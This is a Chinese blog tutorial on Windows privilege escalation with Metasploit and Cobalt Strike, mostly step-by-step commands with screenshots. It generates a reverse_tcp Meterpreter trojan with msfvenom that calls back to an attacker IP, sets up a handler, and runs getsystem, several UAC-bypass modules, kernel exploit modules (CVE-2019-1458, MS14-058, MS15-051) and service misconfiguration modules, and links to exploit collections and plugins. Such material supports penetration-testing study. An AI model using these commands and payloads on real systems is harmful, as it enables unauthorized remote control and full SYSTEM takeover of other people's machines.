• MSF/CS框架提权姿势


    Meterpreter自动提权

    Meterpreter自动提权命令

    getsystem:
    getsystem是由Metasploit-Framework提供的一个模块,它可以将一个管理帐户(通常为本地Administrator账户)提升为本地SYSTEM帐户

    1)getsystem创建一个新的Windows服务,设置为SYSTEM运行,当它启动时连接到一个命名管道。
    2)getsystem产生一个进程,它创建一个命名管道并等待来自该服务的连接。
    3)Windows服务已启动,导致与命名管道建立连接。
    4)该进程接收连接并调用ImpersonateNamedPipeClient,从而为SYSTEM用户创建模拟令牌。
    5)然后用新收集的SYSTEM模拟令牌产生cmd.exe,并且我们有一个SYSTEM特权进程。

    getsystem只能将administrator账号提权到system账户

    1. 生成一个木马。
    msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=171.16.1.109 lport=9999 -f exe -o demo.exe
    
    • 1
    1. 设置payload。
    use exploit/multi/handler 
    set payload windows/x64/meterpreter/reverse_tcp
    set lhost 171.16.1.109
    set lport 9999
    exploit 
    
    • 1
    • 2
    • 3
    • 4
    • 5

    在这里插入图片描述在这里插入图片描述

    1. 上线MSF。
      在这里插入图片描述
    getuid:查看当前用户权限,为administrator。可以使用getsystem。
    
    getsystem:提权为system。
    
    • 1
    • 2
    • 3

    bypassUAC

    UAC:用户帐户控制(User Account Control),是windows操作系统中采用的一种控制机制,它以预见的方式阻止不必要的系统范围更改。

    getsystem提权方式对于普通用户来说是失败的不可正常执行的,那么这种情况下就需要绕过系统UAC来进行getsystem提权。

    search bypassuac #查找对应模块
    
    • 1

    在这里插入图片描述

    进程注入

    use exploit/windows/local/bypassuac
    set payload windows/x64/meterpreter/reverse_tcp
    set LHOST=攻击机ip
    set session 1  # 选择会话
    set targets  # 选择架构
    exploit
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6

    前提目标机器已经上线msf,且用户为管理员组!

    1. 使用bypassuac模块。
      在这里插入图片描述

    2. 设置架构为windows64。
      在这里插入图片描述

    3. 设置参数。

    session:查看会话
    set session 2:选择会话2
    show targets:查看架构选项
    set targets:选择目标架构
    
    • 1
    • 2
    • 3
    • 4

    在这里插入图片描述

    1. 运行,进行bypassuac提权。
      得到会话后,进入shell,getsystem进行提权,最后getuid查看是否提权成功,可以看到权限有aaa用户改为system用户。
      在这里插入图片描述

    内存注入

    use exploit/windows/local/bypassuac_injection  #使用bypassuac_injection模块
    show options  #查看需要配置参数
    set payload windows/x64/meterpreter/reverse_tcp  #设置架构 (具体情况具体分析)
    set session 2  #选中session为2的会话
    set target 1  #选中target为1的架构
    exploit   #运行
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6

    在这里插入图片描述

    通过bypassUAC获取的session可以看到依然是普通权限,可以getsystem进行提权至system权限

    getuid  #查看当前用户
    getsystem  #getsystem提权
    getuid  #再次查看用户,是否为system用户
    
    • 1
    • 2
    • 3

    在这里插入图片描述

    Eventvwr注册表项

    use exploit/windows/local/bypassuac_eventvwr  #使用bypassuac_eventvwr模块
    show options  #查看需要配置参数
    set payload windows/x64/meterpreter/reverse_tcp  #设置架构 (具体情况具体分析)
    set session 2  #选中session为2的会话
    set target 1  #选中target为1的架构
    exploit   #运行
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6

    在这里插入图片描述
    通过bypassUAC获取的session可以看到依然是普通权限,可以getsystem进行提权至system权限

    getuid  #查看当前用户
    getsystem  #getsystem提权
    getuid  #再次查看用户,是否为system用户
    
    • 1
    • 2
    • 3

    在这里插入图片描述

    COM处理程序劫持

    use exploit/windows/local/bypassuac_comhijack  #使用bypassuac_comhijack模块
    show options  #查看需要配置参数
    set payload windows/x64/meterpreter/reverse_tcp  #设置架构 (具体情况具体分析)
    set session 2  #选中session为2的会话
    exploit   #运行
    
    • 1
    • 2
    • 3
    • 4
    • 5

    在这里插入图片描述

    通过bypassUAC获取的session可以看到依然是普通权限,可以getsystem进行提权至system权限

    getuid  #查看当前用户
    getsystem  #getsystem提权
    getuid  #再次查看用户,是否为system用户
    
    • 1
    • 2
    • 3

    在这里插入图片描述

    Kernel漏洞提权

    windows-kernel-exploits(Windows平台提权漏洞集合):

    https://github.com/SecWiki/windows-kernel-exploits
    
    • 1

    优点:省去手动查找的麻烦

    缺点:不是所有列出的local exploit都可用

    use post/multi/recon/local_exploit_suggester
    show options 
    set session 8
    exploit 
    
    • 1
    • 2
    • 3
    • 4

    在这里插入图片描述
    在这里插入图片描述

    可以看出我们针对目标有7种提权方式,我们随便找两个尝试。

    1. 使用cve_2019_1458_wizardopium漏洞进行提权。
    use exploit/windows/local/cve_2019_1458_wizardopium
    show options 
    set session 8
    exploit 
    
    • 1
    • 2
    • 3
    • 4

    在这里插入图片描述
    成功拿到system权限。

    1. 使用ms16_014_wmi_recv_notif漏洞提权。
    use exploit/windows/local/ms16_014_wmi_recv_notif
    show options 
    set session 8
    exploit 
    
    • 1
    • 2
    • 3
    • 4

    在这里插入图片描述

    可以看到使用该漏洞没有提权成功,我们不要灰心,继续尝试其他的模块即可!

    service_permissions(服务权限)

    service_permissions模块

    use exploit/windows/local/service_permissions
    show options
    set sessions 11
    exploit
    
    • 1
    • 2
    • 3
    • 4

    在这里插入图片描述
    在这里插入图片描述
    getuid查看到username为system权限,说明提权成功!

    always_install_elevated

    always_install_elevated模块

    use exploit/windows/local/always_install_elevated
    show options
    set sessions 11
    exploit
    
    • 1
    • 2
    • 3
    • 4

    在这里插入图片描述
    可以看到使用该模块提权失败,尝试其他方式!

    Kernel privilege escalation(内核权限提升)

    Windows ClientCopyImage Win32k Exploit

    适用与win7 win server 2008R2SP1 x64

    use exploit/windows/local/ms15_051_client_copy_image
    set lhost 171.16.1.109
    set session 11
    set targets 1 #我的是x64就选择1
    exploit
    
    • 1
    • 2
    • 3
    • 4
    • 5

    在这里插入图片描述
    并没有成功,尝试下一个。

    ms14_058提权

    use exploit/windows/local/ms14_058_track_popup_menu
    set session 11
    set target 1
    exploit
    
    • 1
    • 2
    • 3
    • 4

    在这里插入图片描述

    使用ms14_058也没有成功。

    Cobalstrike自动提权

    Cobalstrike自动提权使用插件往往事半功倍!
    分享几个插件:

    1. 梼杌
    下载地址:https://github.com/pandasec888/taowu-cobalt-strike
    
    • 1
    1. 黑魔鬼
    下载链接:https://github.com/SeaOf0/CSplugins
    
    • 1

    更多插件可以自行去下载!
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述

  • 相关阅读:
    【服务器】fiber协程模块
    一文读懂原子操作、内存屏障、锁(偏向锁、轻量级锁、重量级锁、自旋锁)、Disruptor、Go Context之上半部分
    【深入浅出Dubbo3原理及实战】「技术大纲」深入浅出并发实战课程系列及技术指南
    python unicodedecodeerror ‘gbk‘ codec can‘t decode byte
    python中“_“用法
    PDF控件Spire.PDF for .NET【转换】演示:将PDF 转换为 HTML
    Spring Boot(9):请求方法和请求参数常用注解
    35岁左右的项目经理,这5种能力一定要有​
    【Harmony OS】【JAVA UI】鸿蒙系统中怎么使用Parcel进行存储数据或数据传递
    Selenium入门(二)Java整合Selenium实现模拟登录
  • 原文地址:https://blog.csdn.net/qq_61503377/article/details/126311349